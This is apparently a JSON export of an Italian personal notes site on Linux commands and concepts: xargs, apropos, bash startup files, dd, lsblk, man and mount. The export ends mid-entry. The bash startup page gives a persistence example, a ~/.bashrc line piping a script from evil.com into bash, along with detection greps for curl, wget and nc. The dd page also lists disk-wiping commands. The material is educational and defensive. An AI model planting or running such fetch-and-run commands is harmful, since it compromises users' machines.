\u0026#34;*.txt\u0026#34; | xargs rm # ERRORE — rm riceve \u0026#34;file\u0026#34;, \u0026#34;con\u0026#34;, \u0026#34;spazi.txt\u0026#34; separati # SOLUZIONE — null separator find . -name \u0026#34;*.txt\u0026#34; -print0 | xargs -0 rm # -print0 usa \\0 (null) invece di \\n come separatore # -0 dice a xargs di usare \\0 come separatore Combinazioni utili # # Trova file .py e conta le righe totali find . -name \u0026#34;*.py\u0026#34; | xargs wc -l | tail -1 # Grep in tutti i file trovati find /etc -type f | xargs grep -l \u0026#34;password\u0026#34; 2\u0026gt;/dev/null # -l = mostra solo i nomi file che contengono il pattern # Copia tutti i file .conf in una directory di backup find /etc -name \u0026#34;*.conf\u0026#34; | xargs -I {} cp {} /backup/ # Verifica integrita\u0026#39; di molti file find /etc -type f | xargs sha256sum \u0026gt; /root/etc_hashes.txt # Esecuzione parallela — 4 processi find . -name \u0026#34;*.log\u0026#34; | xargs -P 4 gzip Scenario Reale # # Incident response — trova tutti i file modificati nelle ultime 2 ore # e calcola il loro hash per documentazione forense find / -type f -mmin -120 2\u0026gt;/dev/null | xargs sha256sum \u0026gt;\u0026gt; /tmp/modified_files.txt # Cerca una stringa sospetta in tutti i file di configurazione find /etc -type f -name \u0026#34;*.conf\u0026#34; | xargs grep -l \u0026#34;curl\\|wget\\|nc \u0026#34; 2\u0026gt;/dev/null # Trova file di configurazione che contengono comandi di download — sospetto Dove l'ho usato # Cap 17 TLCL — pipeline con find Note personali # Tip Quando in dubbio, aggiungi echo prima del comando per vedere cosa farebbe xargs senza eseguirlo: find . -name \u0026quot;*.tmp\u0026quot; | xargs echo rm Stampa i comandi che verrebbero eseguiti senza toccare niente.\nWarning find . | xargs rm senza filtri e' pericoloso — cancella tutto. Aggiungi sempre un filtro -name o -type prima di usare xargs rm.\n## Collegato a - system — categoria - [find](/comandi/find/) — sorgente principale di xargs - [grep](/comandi/grep/) — spesso usato dopo xargs per filtrare contenuto ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/xargs/","section":"Comandi","summary":"Converte stdin in argomenti per un comando. Permette di passare l'output di un comando come argomenti a un altro — fondamentale per costruire pipeline su grandi liste di file.","title":"xargs - build and execute command lines from stdin","type":"comandi"},{"content":" Cosa fa # Cerca una parola chiave nelle descrizioni brevi di tutte le pagine di manuale installate sul sistema. E' il modo corretto per trovare un comando quando sai cosa vuoi fare ma non ricordi il nome esatto. Equivalente a man -k.\nSintassi # apropos [parola_chiave] man -k [parola_chiave] ← identico\nComandi essenziali # Comando Flag Significato flag Cosa fa apropos password — — Trova tutti i comandi legati alle password apropos -e password -e exact Cerca corrispondenza esatta, non parziale apropos -r \u0026quot;copy file\u0026quot; -r regex Cerca con espressione regolare apropos network-defense | grep 8 — — Filtra risultati della sezione 8 (admin) man -k password — — Identico ad apropos password Differenza tra apropos, whatis e man # apropos keyword → \u0026#34;non so come si chiama il comando, so solo cosa fa\u0026#34; cerca in TUTTE le descrizioni brevi restituisce piu\u0026#39; risultati whatis comando → \u0026#34;so il nome, voglio una descrizione di una riga\u0026#34; cerca per nome esatto restituisce una sola riga man comando → \u0026#34;so il nome, voglio il manuale completo\u0026#34; apre la documentazione completa Esempi pratici # # Non ricordi come si chiama il comando per i permessi apropos permission # chmod (1) - change file mode bits # chown (1) - change file owner and group # chgrp (1) - change group ownership # ... # Cerchi tool per analisi di rete apropos network-defense | grep \u0026#34;(8)\u0026#34; # (8) = sezione comandi di amministrazione — piu\u0026#39; rilevanti # Cerchi comandi legati ai processi apropos process # ps (1) - report a snapshot of the current processes # kill (1) - send a signal to a process # pgrep (1) - look up processes based on name # top (1) - display Linux processes # ... # Cerchi tutto legato ai log apropos log | grep -i \u0026#34;system\\|journal\\|auth\u0026#34; # Tutti i comandi che iniziano con ssh apropos -r \u0026#34;^ssh\u0026#34; # ssh (1) - OpenSSH remote login client # ssh-add (1) - adds identities to the authentication agent # ssh-agent (1) - OpenSSH authentication agent # ssh-copy-id (1) - copy keys to remote host # ssh-keygen (1) - key generation and management # ssh-keyscan (1) - gather SSH public keys # Tutti i comandi che iniziano con git apropos -r \u0026#34;^git\u0026#34; # Cerca e filtra — più affidabile delle regex lunghe apropos copy | grep ssh apropos compress | grep -v \u0026#34;^gzip\\|^bzip\u0026#34; apropos network-defense | grep \u0026#34;(8)\u0026#34; # solo comandi di amministrazione # Trova tool per analisi forense installati sul sistema apropos forensic apropos \u0026#34;disk image\u0026#34; apropos checksum # Trova comandi per gestione utenti apropos user | grep \u0026#34;(8)\u0026#34; # Trova tutto legato ai log apropos log | grep -i \u0026#34;journal\\|auth\\|syslog\u0026#34; # Pattern utile — cosa inizia con una lettera specifica apropos -r \u0026#34;^nc\u0026#34; # varianti di netcat apropos -r \u0026#34;^ip\u0026#34; # comandi di networking IP apropos -r \u0026#34;^apt\u0026#34; # tutto il sistema apt # Quando sei su un sistema sconosciuto — mappa gli strumenti disponibili apropos \u0026#34;packet\u0026#34; 2\u0026gt;/dev/null apropos \u0026#34;capture\u0026#34; 2\u0026gt;/dev/null apropos \u0026#34;monitor\u0026#34; 2\u0026gt;/dev/null Il database whatis — aggiornarlo # apropos legge un database pre-costruito delle descrizioni. Se installi nuovi pacchetti e apropos non li trova, aggiorna il database:\nsudo mandb # Rebuilds the whatis database # Da eseguire dopo l\u0026#39;installazione di nuovi tool Scenario Reale # Sei su un server che non conosci e devi trovare un tool per analizzare il traffico di rete. Non ricordi i nomi degli strumenti disponibili su questo sistema specifico:\napropos \u0026#34;network-defense traffic\u0026#34; 2\u0026gt;/dev/null apropos \u0026#34;packet capture\u0026#34; 2\u0026gt;/dev/null apropos \u0026#34;sniff\u0026#34; 2\u0026gt;/dev/null # Mostra solo i tool effettivamente installati su questa macchina Questo e' piu' affidabile di cercare su Google perche' mostra solo quello che hai realmente disponibile.\nDove l'ho usato # Ricerca comandi sconosciuti su sistemi nuovi Collegato a # system — categoria man — apre il manuale completo del comando trovato con apropos whatis — versione piu' precisa per nome esatto help — alternativa per flag veloci ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/apropos/","section":"Comandi","summary":"Cerca una parola chiave nelle descrizioni di tutte le pagine di manuale. E' il Google interno di Linux — quando sai cosa vuoi fare ma non ricordi il nome del comando.","title":"apropos - search man pages","type":"comandi"},{"content":"`\nCosa fa # Quando bash si avvia, legge una serie di file di configurazione in ordine preciso per costruire l'ambiente della shell. Quali file vengono letti dipende dal tipo di sessione. Capire questo ordine e' fondamentale per sapere dove mettere variabili, alias e funzioni in modo che sopravvivano ai riavvii.\nTL;DR # Apri un terminale in GUI → non-login shell → legge ~/.bashrc SSH verso un server → login shell → legge ~/.profile (o ~/.bash_profile) che di solito chiama ~/.bashrc su - → login shell → stesso percorso di SSH bash script.sh → non-interattiva → non legge nessun file source script.sh → shell corrente → non riavvia niente I due tipi di sessione # LOGIN SHELL NON-LOGIN SHELL ───────────────────────────── ────────────────────────────── SSH verso un server Nuovo terminale in GUI su - utente tmux, screen Console TTY (login fisico) subshell lanciata da bash bash script.sh Legge: Legge: /etc/profile /etc/bash.bashrc ~/.bash_profile ~/.bashrc ~/.bash_login (se .bash_profile non esiste) ~/.profile (se nessuno dei precedenti esiste) I file uno per uno # /etc/profile # Globale — letto da tutti gli utenti all'avvio di una login shell. Imposta variabili di sistema valide per tutti. Non modificarlo per configurazioni personali.\n~/.bash_profile # Personale — letto alla login. Non esiste di default su Ubuntu. Se lo crei, bash smette di leggere ~/.bash_login e ~/.profile. Di solito contiene solo una riga:\n# ~/.bash_profile standard if [ -f ~/.bashrc ]; then source ~/.bashrc fi Questo fa convergere tutto su ~/.bashrc.\n~/.bash_login # Letto solo se ~/.bash_profile non esiste. Raro — legacy.\n~/.profile # Letto se ne' ~/.bash_profile ne' ~/.bash_login esistono. Default su Ubuntu — e' qui che la login shell atterisce. Chiama ~/.bashrc internamente.\n~/.bashrc # Il file piu' importante per la configurazione personale. Letto dalle shell non-login interattive. Contiene alias, funzioni, PS1, export di variabili. Di fatto e' il punto di convergenza su Ubuntu — sia login che non-login finiscono qui.\n/etc/bash.bashrc # Come ~/.bashrc ma globale — per tutti gli utenti. Letto dalle non-login shell prima di ~/.bashrc.\nIl flusso su Ubuntu # SSH login (login shell) │ ▼ /etc/profile │ ▼ ~/.profile ──── chiama ────► source ~/.bashrc │ ▼ alias, export, PS1 tutto converge qui Nuovo terminale GUI (non-login shell) │ ▼ /etc/bash.bashrc │ ▼ ~/.bashrc │ ▼ alias, export, PS1 Su Ubuntu tutto converge su ~/.bashrc — e' li' che metti la tua configurazione.\nDove mettere cosa # Cosa Dove Alias personali ~/.bashrc PS1 personalizzato ~/.bashrc export PATH=... personale ~/.bashrc export EDITOR=vim ~/.bashrc Variabili per tutti gli utenti /etc/environment Script da eseguire al login (una volta) ~/.profile zsh — la stessa logica con nomi diversi # Se usi zsh (default su macOS e Kali):\n~/.bashrc → ~/.zshrc ~/.bash_profile → ~/.zprofile ~/.profile → ~/.zprofile (in alcuni casi) La logica e' identica — cambia solo il nome dei file.\nScenario Reale # Un attaccante che ottiene accesso a un sistema modifica ~/.bashrc aggiungendo:\ncurl http://evil.com/payload.sh | bash Ad ogni nuovo terminale aperto dall'utente — o ad ogni login SSH — il payload viene eseguito silenziosamente. E' uno dei vettori di persistence piu' usati perche' ~/.bashrc viene raramente monitorato.\n# Difesa — controlla i dotfile alla ricerca di comandi sospetti grep -E \u0026#34;curl|wget|nc|python|bash\u0026#34; ~/.bashrc ~/.profile ~/.zshrc 2\u0026gt;/dev/null Su un sistema sospetto controlla sempre i dotfile prima di aprire nuovi terminali — ogni apertura di terminale potrebbe eseguire codice malevolo. Dove l'ho incontrato # shell-interattiva — concetto login vs non-login shell export — le variabili esportate vivono in questi file alias — gli alias permanenti vivono in ~/.bashrc Collegato a # system — categoria shell-environment — le variabili definite in questi file costruiscono l'ambiente shell-interattiva — login shell vs non-login shell export — export in ~/.bashrc rende le variabili permanenti alias — alias in ~/.bashrc sopravvivono ai riavvii ","date":"26 marzo 2026","externalUrl":null,"permalink":"/concetti/bash-startup-files/","section":"Concetti","summary":"I file di startup di bash determinano quali variabili, alias e funzioni vengono caricati all'avvio della shell. L'ordine di lettura dipende dal tipo di sessione: login shell o non-login shell.","title":"Bash Startup Files - file di avvio","type":"concetti"},{"content":" Cosa fa # Copia dati a basso livello direttamente tra dispositivi o file, blocco per blocco, ignorando il filesystem. Non capisce file o directory — vede solo stream di byte. Questo lo rende potentissimo per clonare dischi, scrivere immagini su USB/SD e acquisire copie forensi, e pericolosissimo se usato con if e of invertiti.\nSintassi # dd if=sorgente of=destinazione [bs=dimensione_blocco] [count=numero_blocchi]\nif = input file — da dove legge of = output file — dove scrive bs = block size — dimensione blocco (default 512 byte, usare 4M o 64M per velocita\u0026#39;) count = quanti blocchi copiare (ometti per copiare tutto) Comandi essenziali # Comando Flag Significato flag Cosa fa dd if=/dev/sdb of=/dev/sdc — — Clona disco sdb su sdc byte per byte dd if=/dev/sdb of=backup.img bs=4M bs block size Crea immagine raw del disco in un file dd if=immagine.img of=/dev/sdb bs=4M — — Scrive immagine su disco (es. Raspberry Pi) dd if=/dev/zero of=/dev/sdb bs=4M — — Azzera il disco con zeri dd if=/dev/urandom of=/dev/sdb bs=4M — — Sovrascrive con dati casuali (alternativa a shred) dd if=/dev/sdb of=backup.img bs=4M status=progress status progress Mostra avanzamento in tempo reale Caso d'uso principale — Raspberry Pi e SD card # # Scrivere un\u0026#39;immagine OS su una SD card o USB # (quello che hai fatto con Raspberry Pi dal Mac) # 1. Trova il nome del dispositivo SD lsblk # NAME SIZE TYPE # sdb 32G disk ← la tua SD card # 2. Smonta se montata automaticamente sudo umount /dev/sdb1 # 3. Scrivi l\u0026#39;immagine sudo dd if=raspbian.img of=/dev/sdb bs=4M status=progress # bs=4M = blocchi da 4MB per velocita\u0026#39; ottimale # status=progress = mostra quanti byte sono stati scritti # 4. Forza la scrittura dei buffer su disco sync Clonazione disco — backup raw # # Clona un disco intero su un altro disco identico sudo dd if=/dev/sda of=/dev/sdb bs=64M status=progress # Copia TUTTO — incluse partizioni, MBR, spazio vuoto # Crea un\u0026#39;immagine del disco in un file sudo dd if=/dev/sda of=/backup/disco.img bs=64M status=progress # Ripristina l\u0026#39;immagine su un disco sudo dd if=/backup/disco.img of=/dev/sda bs=64M status=progress Acquisizione forense # # Acquisizione forense di un disco — copia esatta per analisi sudo dd if=/dev/sdb of=/evidence/disk.img bs=512 conv=noerror,sync status=progress # conv=noerror → continua anche in caso di settori danneggiati # conv=sync → riempie i blocchi con errori con zeri (mantiene l\u0026#39;offset) # Verifica l\u0026#39;integrita\u0026#39; dell\u0026#39;immagine acquisita sha256sum /dev/sdb \u0026gt; hash_originale.txt sha256sum /evidence/disk.img \u0026gt; hash_immagine.txt diff hash_originale.txt hash_immagine.txt # Se non ci sono differenze → copia forense verificata Differenza tra dd e cp # dd cp ──────────────────────── ───────────────────────── lavora a livello di blocchi lavora a livello di file ignora il filesystem usa il filesystem copia anche lo spazio vuoto copia solo i file copia MBR e tabella partizioni non copia metadati del disco piu\u0026#39; lento su file singoli ottimizzato per file pericoloso se scrivi sul wrong sicuro — non tocca i dispositivi dd — blocco per blocco vs default:\nDi default i comandi come cp lavorano a livello di filesystem — chiedono al kernel \u0026quot;dammi il file chiamato X\u0026quot; e il kernel gestisce tutto: trova l'inode, legge i blocchi giusti, ricostruisce il file. Non sai e non ti importa dove stanno fisicamente i dati sul disco.\ndd invece legge il dispositivo direttamente, a sequenze di byte consecutive chiamate blocchi, senza passare dal filesystem:\ncp file.txt copia.txt → kernel → filesystem → trova inode → legge i blocchi → scrive dd if=/dev/sda of=disco.img → legge byte 0, 1, 2, 3... fino alla fine del disco → nessun filesystem, nessun inode, solo byte grezzi in sequenza Ecco perché dd copia anche lo spazio vuoto, le partizioni, il MBR — tutto quello che il filesystem normalmente nasconde.\nCombinazioni utili # # Testa la velocita\u0026#39; di scrittura del disco dd if=/dev/zero of=/tmp/test bs=1M count=1024 status=progress rm /tmp/test # Crea un file vuoto di dimensione specifica (per test) dd if=/dev/zero of=file_vuoto.bin bs=1M count=100 # crea un file da 100MB pieno di zeri # Leggi i primi 512 byte di un disco (MBR) sudo dd if=/dev/sda bs=512 count=1 | xxd | head -20 Scenario Reale # Durante un incident response, un analista deve acquisire una copia forense di un disco sospetto senza modificarlo. Usa:\n# Monta il disco in sola lettura sudo mount -o ro /dev/sdb /mnt/evidence # Acquisisce copia forense sudo dd if=/dev/sdb of=/storage/evidence.img bs=4M conv=noerror,sync status=progress # Calcola hash per catena di custodia sha256sum /dev/sdb \u0026gt;\u0026gt; /storage/chain_of_custody.txt sha256sum /storage/evidence.img \u0026gt;\u0026gt; /storage/chain_of_custody.txt L'hash identico sui due file prova che la copia e' integra — fondamentale in un processo legale.\nDove l'ho usato # Raspberry Pi — scrittura immagini OS su SD card dal Mac Note personali # Warning dd e' chiamato \u0026quot;disk destroyer\u0026quot; per un motivo — se inverti if e of per sbaglio, sovrascrivi il disco sorgente invece della destinazione. Controlla sempre due volte prima di premere invio. In particolare: of=/dev/sda su un sistema in esecuzione e' catastrofico.\nTip Aggiungi sempre status=progress — senza, dd non mostra niente per minuti o ore e non sai se sta lavorando o e' bloccato.\nCollegato a # system — categoria incidents — categoria mount — monta i dispositivi identificati con lsblk lsblk — trova i nomi dei dispositivi da usare con dd sha256sum — verifica l'integrita' delle copie create con dd ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/dd/","section":"Comandi","summary":"Copia dati a basso livello direttamente tra dispositivi o file, blocco per blocco. Usato per clonare dischi, scrivere immagini su SD/USB, creare backup raw e acquisire immagini forensi.","title":"dd - data duplicator (o disk destroyer)","type":"comandi"},{"content":" Cosa fa # Mostra l'albero dei dispositivi a blocchi presenti nel sistema — dischi fisici, partizioni, volumi LVM, dispositivi virtuali — con le loro dimensioni e punti di mount. E' il modo piu' rapido per capire la struttura del disco senza dover interpretare output complessi.\nSintassi # lsblk [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa lsblk — — Albero completo dei dispositivi a blocchi lsblk -f -f filesystem Aggiunge tipo filesystem e UUID lsblk -o NAME,SIZE,TYPE,MOUNTPOINT -o output Colonne personalizzate lsblk /dev/vda — — Solo il disco specificato e le sue partizioni Leggere l'output — VM Ubuntu # lsblk # NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS # sr0 11:0 1 1024M 0 rom # vda 253:0 0 64G 0 disk # ├─vda1 253:1 0 1G 0 part /boot/efi # ├─vda2 253:2 0 2G 0 part /boot # └─vda3 253:3 0 60.9G 0 part # └─ubuntu--vg-ubuntu--lv 252:0 0 30.5G 0 lvm / Colonna per colonna:\nNAME → nome del dispositivo MAJ:MIN → major:minor number — identificatori kernel del dispositivo RM → removable — 1 se rimovibile (USB), 0 se fisso SIZE → dimensione RO → read-only — 1 se sola lettura TYPE → disk / part / lvm / rom MOUNTPOINTS → dove e\u0026#39; montato (vuoto = non montato) La struttura della VM Ubuntu spiegata # sr0 ← lettore CD virtuale (ROM, 1024M = vuoto) vda ← disco virtuale da 64GB ├─vda1 1G ← partizione EFI → /boot/efi (firmware UEFI) ├─vda2 2G ← partizione boot → /boot (kernel, initrd) └─vda3 60.9G ← partizione LVM └─ubuntu--vg-ubuntu--lv 30.5G ← volume logico LVM → / ^ solo 30.5G usati su 60.9G disponibili il resto e\u0026#39; spazio LVM non allocato v in vda sta per virtio — il driver per dischi virtuali in ambienti di virtualizzazione come UTM/KVM. Su hardware reale vedresti sda (SATA/SCSI) o nvme0n1 (NVMe).\nlsblk vs df # lsblk df ───────────────────────── ───────────────────────────── mostra dispositivi fisici mostra spazio usato/libero struttura partizioni solo filesystem montati LVM e RAID non mostra partizioni non montate nessun dato sull\u0026#39;uso spazio dati di utilizzo spazio Usali insieme: lsblk per capire la struttura, df -h per vedere quanto spazio e' occupato.\nCombinazioni utili # # Struttura completa con filesystem e UUID lsblk -f # Solo i dischi fisici senza partizioni lsblk -d # Formato JSON — utile per script lsblk -J # Colonne personalizzate per panoramica rapida lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT,UUID Scenario Reale # Durante un incident response su un server, l'analista esegue lsblk per capire immediatamente la struttura del disco. Se vede un dispositivo montato su un path insolito (es. /dev/sdb montato su /tmp/.hidden) e' un segnale immediato — un attaccante potrebbe aver montato un disco esterno per esfiltrazione dati.\n# Trovare dispositivi montati su path sospetti lsblk | grep -v -E \u0026#34;/boot|/home|/tmp$|^$\u0026#34; Dove l'ho usato # VM Ubuntu — lettura struttura disco virtuale (vda, vda1, vda2, vda3, LVM) Note personali # Tip lsblk e' il primo comando da eseguire quando colleghi un nuovo disco o USB a un sistema Linux — ti mostra immediatamente il nome del dispositivo (/dev/sdb, /dev/sdc...) che ti serve per mount o dd.\n## Collegato a - system — categoria - [file](/comandi/file/) — categoria - [mount](/comandi/mount/) — dopo lsblk si usa mount per agganciare i dispositivi - [dd](/comandi/dd/) — usa i device names mostrati da lsblk come input/output - [linux-filesystem-hierarchy](/concetti/linux-filesystem-hierarchy/) — dove i dispositivi vengono montati nell\u0026#39;albero ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/lsblk/","section":"Comandi","summary":"Mostra l'albero dei dispositivi a blocchi — dischi, partizioni, LVM e relativi punti di mount. Comando moderno preferito a fdisk -l per una panoramica rapida della struttura del disco.","title":"lsblk - list block devices","type":"comandi"},{"content":" Cosa fa # Visualizza la documentazione di riferimento ufficiale per comandi, file di configurazione, chiamate di sistema e librerie C. Usa less come pager — tutti i comandi di navigazione di less funzionano dentro man. La documentazione e' locale, aggiornata alla versione installata sul sistema, disponibile anche senza internet.\nSintassi # man [sezione] comando\nLe 8 sezioni del manuale # Ogni sezione copre un tipo diverso di documentazione. Lo stesso nome puo' esistere in piu' sezioni con significati diversi.\nSezione Contenuto Esempio 1 Comandi utente — eseguibili normali man 1 ls 2 System calls — chiamate dirette al kernel man 2 fork 3 Funzioni di libreria C man 3 printf 4 Device files — /dev/ man 4 tty 5 Formati di file e configurazioni man 5 passwd 6 Giochi e screensaver — 7 Miscellanea — concetti, protocolli, standard man 7 signal 8 Comandi di amministrazione sistema (root) man 8 useradd Il motivo per cui esistono le sezioni: passwd e' sia un comando (sezione 1) che un file di configurazione (sezione 5). Senza specificare la sezione, man passwd apre la prima che trova — quasi sempre la sezione 1.\nman passwd # apre sezione 1 (comando) man 5 passwd # apre sezione 5 (struttura del file /etc/passwd) man 5 crontab # struttura del file crontab man 5 sshd_config # struttura del file di configurazione SSH Comandi essenziali # Comando Flag Significato flag Cosa fa man ls — — Apre il manuale di ls (sezione 1 di default) man 5 passwd — — Apre la sezione 5 di passwd (il file) man -k password -k keyword Cerca \u0026quot;password\u0026quot; in tutte le descrizioni — identico ad apropos man -f ls -f full Mostra tutte le sezioni disponibili per ls — identico a whatis man -a passwd -a all Apre tutte le sezioni disponibili in sequenza man -P less man -P pager Specifica il pager da usare Come leggere una pagina man # LS(1) User Commands LS(1) ^ ^ nome(sezione) ripetuto a destra NAME ls - list directory contents ← descrizione in UNA riga SYNOPSIS ls [OPTION]... [FILE]... ← sintassi ^ ^ ^ │ [] = opzionale ... = ripetibile └── nome comando DESCRIPTION List information about the FILEs ← spiegazione estesa OPTIONS -a, --all do not ignore entries starting with . ← ogni flag spiegato EXAMPLES ← non sempre presente ma cercalo! SEE ALSO dir(1), vdir(1), ls(1posix) ← comandi correlati Navigazione interna — identica a less # Dentro man usi gli stessi comandi di less:\nTasto Cosa fa /parola Cerca \u0026quot;parola\u0026quot; verso il basso ?parola Cerca \u0026quot;parola\u0026quot; verso l'alto n Prossima occorrenza della ricerca N Occorrenza precedente g Vai all'inizio G Vai alla fine Space Pagina successiva b Pagina precedente q Esci h Help navigazione La strategia per non impazzire # Le pagine man sono dense. Non leggerle dall'inizio — cerca quello che ti serve:\n# Apri il manuale man find # Cerca subito il flag che vuoi /-size # n per scorrere le occorrenze # q per uscire # Non ricordi il nome del comando? Usa -k (= apropos) man -k \u0026#34;copy file\u0026#34; man -k checksum man -k \u0026#34;change permission\u0026#34; # Vuoi vedere tutte le sezioni disponibili per un nome? man -f passwd # passwd (1) - change user password # passwd (5) - the password file man -k vs apropos # Sono identici — man -k chiama apropos internamente:\nman -k password # identico a: apropos password # stesso risultato Usa quello che preferisci. man -k e' utile quando sei gia' dentro il workflow di man.\nL'alternativa moderna — cheat.sh # Se il man e' troppo denso e non hai tldr installato, puoi usare cheat.sh via curl. Fornisce solo gli esempi pratici piu' comuni in modo leggibile.\n# Sintassi base curl cheat.sh/comando # Esempi curl cheat.sh/unzip # esempi per unzip curl cheat.sh/tar # esempi per tar curl cheat.sh/find # esempi per find Funziona senza installare nulla, basta avere curl e una connessione internet. E' l'ideale quando cerchi un esempio \u0026quot;al volo\u0026quot; invece della specifica tecnica completa.\nCasi d'uso pratici # # Su un server sconosciuto — mappa gli strumenti disponibili man -k \u0026#34;packet capture\u0026#34; man -k \u0026#34;network-defense monitor\u0026#34; man -k forensic # Struttura di file di configurazione che non ricordi man 5 sshd_config # configurazione SSH server man 5 crontab # formato file crontab man 5 sudoers # formato file sudoers man 5 fstab # formato file /etc/fstab # Segnali Unix — tutti i SIGTERM, SIGKILL etc man 7 signal # Concetti di rete man 7 tcp man 7 ip # Come funziona una chiamata di sistema man 2 fork man 2 exec Scenario Reale # Sei su un server senza accesso a internet e devi configurare sshd_config per disabilitare il login con password. Non ricordi il nome esatto del parametro:\nman 5 sshd_config # poi dentro: /PasswordAuth # trovi: PasswordAuthentication yes|no # con la spiegazione completa di cosa fa Questo e' piu' affidabile di Google perche' e' la documentazione esatta della versione installata su quel sistema.\nDove l'ho usato # bandit-05 — flag di find per dimensione file Note personali # Tip La combinazione piu' utile: apri man comando, poi usa /flag per cercare esattamente il flag che ti serve. Non leggere tutto dall'inizio — e' lento e inutile.\nNote man -k e apropos sono identici. Se sei gia' nel flusso di man, usa -k. Se stai cercando da terminale, usa apropos — e' piu' immediato da ricordare.\nCollegato a # system — categoria less — pager usato da man per la navigazione apropos — man -k e' identico ad apropos whatis — man -f e' identico a whatis help — alternativa rapida per i flag ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/man/","section":"Comandi","summary":"Visualizza la documentazione ufficiale di comandi, file di configurazione, chiamate di sistema e librerie. Organizzato in 8 sezioni — sapere quale sezione cercare e' la chiave per trovare subito quello che serve.","title":"man - manual pages","type":"comandi"},{"content":" Cosa fa # Aggancia un dispositivo di storage (disco, partizione, USB, immagine ISO) a un punto dell'albero delle directory Linux. In Linux esiste un unico albero che parte da / — i dispositivi devono essere montati per diventare accessibili. umount sgancia il dispositivo in modo sicuro, svuotando i buffer prima di permettere la rimozione fisica.\nSintassi # mount [opzioni] dispositivo punto_di_mount umount punto_di_mount\nFilesystem reali vs virtuali # REALI — su disco fisico VIRTUALI — generati dal kernel ──────────────────────── ────────────────────────────── /dev/vda1 → /boot/efi /proc → info sui processi (in RAM) /dev/vda2 → /boot /sys → info sull\u0026#39;hardware /dev/vda3 → LVM → / /dev → device files USB → /mnt/usb tmpfs → filesystem temporaneo in RAM I filesystem virtuali non stanno su disco — sono generati dal kernel al volo e montati automaticamente all'avvio.\nComandi essenziali # Comando Flag Significato flag Cosa fa mount — — Mostra tutti i filesystem attualmente montati mount | grep /dev — — Filtra solo i dispositivi reali sudo mount /dev/sdb1 /mnt/usb — — Monta la partizione sdb1 in /mnt/usb sudo mount -t vfat /dev/sdb1 /mnt/usb -t type Specifica il tipo di filesystem sudo mount -o loop image.iso /mnt/iso -o loop options loop Monta un file ISO come se fosse un disco sudo umount /mnt/usb — — Sgancia il filesystem montato in /mnt/usb sudo umount /dev/sdb1 — — Sgancia per nome dispositivo invece che per punto di mount Leggere l'output di mount # mount | grep /dev/vda1 # /dev/vda1 on /boot/efi type vfat (rw,relatime,fmask=0022,...) # ^ ^ ^ ^ # dispositivo punto mount tipo fs opzioni di mount /etc/fstab — mount permanenti # /etc/fstab (filesystem table) contiene i mount configurati per essere eseguiti automaticamente all'avvio.\ncat /etc/fstab # Formato: # dispositivo punto_mount tipo opzioni dump pass # UUID=xxx /boot/efi vfat umask=0077 0 1 # /dev/vda2 /boot ext4 defaults 0 2 # Visualizzare gli UUID dei dispositivi sudo blkid Montare un'immagine ISO senza masterizzarla # # Crea il punto di mount sudo mkdir /mnt/iso # Monta l\u0026#39;ISO con il driver loop sudo mount -t iso9660 -o loop immagine.iso /mnt/iso # Naviga il contenuto ls /mnt/iso # Smonta quando hai finito sudo umount /mnt/iso Perche' umount e' importante # Quando scrivi su un filesystem, Linux usa buffer in RAM per ottimizzare le scritture. umount forza lo svuotamento di questi buffer su disco prima di sganciare. Se rimuovi fisicamente un USB senza umount, rischi corruzione dei dati perche' i dati nei buffer non sono ancora stati scritti.\n# Se umount fallisce con \u0026#34;device is busy\u0026#34; lsof /mnt/usb # trova chi sta usando il mount point fuser -m /mnt/usb # alternativa Combinazioni utili # # Vedere tutti i filesystem montati in formato leggibile findmnt # Vedere solo i filesystem reali (esclude quelli virtuali) mount | grep \u0026#34;^/dev\u0026#34; # Rimontare in sola lettura (utile in forensics per non alterare evidenze) sudo mount -o remount,ro /dev/sdb1 /mnt/evidence Scenario Reale # Durante un'analisi forense, un analista deve esaminare il contenuto di un disco sospetto senza modificarlo. Monta il disco in sola lettura con mount -o ro per garantire che nessuna scrittura accidentale alteri le evidenze. Usa poi sha256sum per verificare l'integrita' prima e dopo l'analisi.\nDove l'ho usato # VM Ubuntu — lsblk e mount per capire la struttura del disco virtuale Note personali # Warning Non rimuovere mai fisicamente una USB o un disco esterno senza prima eseguire umount. I dati nei buffer potrebbero non essere ancora stati scritti su disco.\nNote Su sistemi moderni con systemd, i dispositivi USB vengono montati automaticamente da udisks2 senza bisogno di mount manuale. Ma su server e in forensics, il mount manuale e' lo standard.\nCollegato a # system — categoria file — categoria lsblk — mostra la struttura dei dispositivi prima di montarli dd — copia raw di dispositivi, spesso usato prima o dopo mount linux-filesystem-hierarchy — l'albero dove i dispositivi vengono montati ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/mount/","section":"Comandi","summary":"Aggancia un dispositivo di storage o filesystem a un punto dell'albero delle directory. Senza mount il dispositivo non e' accessibile. umount sgancia in modo sicuro prima di rimuovere fisicamente il device.","title":"mount / umount - mount filesystem","type":"comandi"},{"content":" TL;DR apropos parola trova il comando quando non ne conosci il nome comando --help ti dà i flag in cinque secondi senza uscire dal terminale man comando è il manuale completo, navigabile con /parola per cercare whatis comando ti dice in una riga cosa fa qualcosa che hai trovato nei log ▶ $ history man ls man 5 passwd man -k password man -f passwd apropos permission apropos -r \u0026quot;^ssh\u0026quot; whatis find tar --help tar --help | grep extract Hai una shell aperta su un server che non hai mai visto. Niente internet, niente Stack Overflow, niente documentazione esterna. Devi capire come funziona qualcosa - un flag, un file di configurazione, un comando che compare nei log.\nNon sei al buio. La documentazione è già lì, installata insieme al sistema.\nIl problema # Quattro situazioni ricorrenti su sistemi sconosciuti:\nNon sai come si chiama il comando che fa quello che ti serve Sai il nome, vuoi i flag velocemente senza aprire un manuale Sai il nome, vuoi capire davvero come funziona Hai trovato un nome nei log e vuoi sapere cos'è Per ognuna c'è uno strumento diverso.\ngraph TD Problema{Cosa cerchi?} Problema --\u003e|non so il nome del comando| Apropos[\"apropos parola chiave\"] Problema --\u003e|so il nome, voglio i flag| Help[\"comando --help\"] Problema --\u003e|so il nome, voglio capire| Man[\"man comando\"] Problema --\u003e|ho un nome, cosa fa?| Whatis[\"whatis nome\"] Man --\u003e|non trovo il flag| Cerca[\"/ parola → n → N\"] Step 1 - Non sai il nome: apropos # apropos cerca una parola chiave nelle 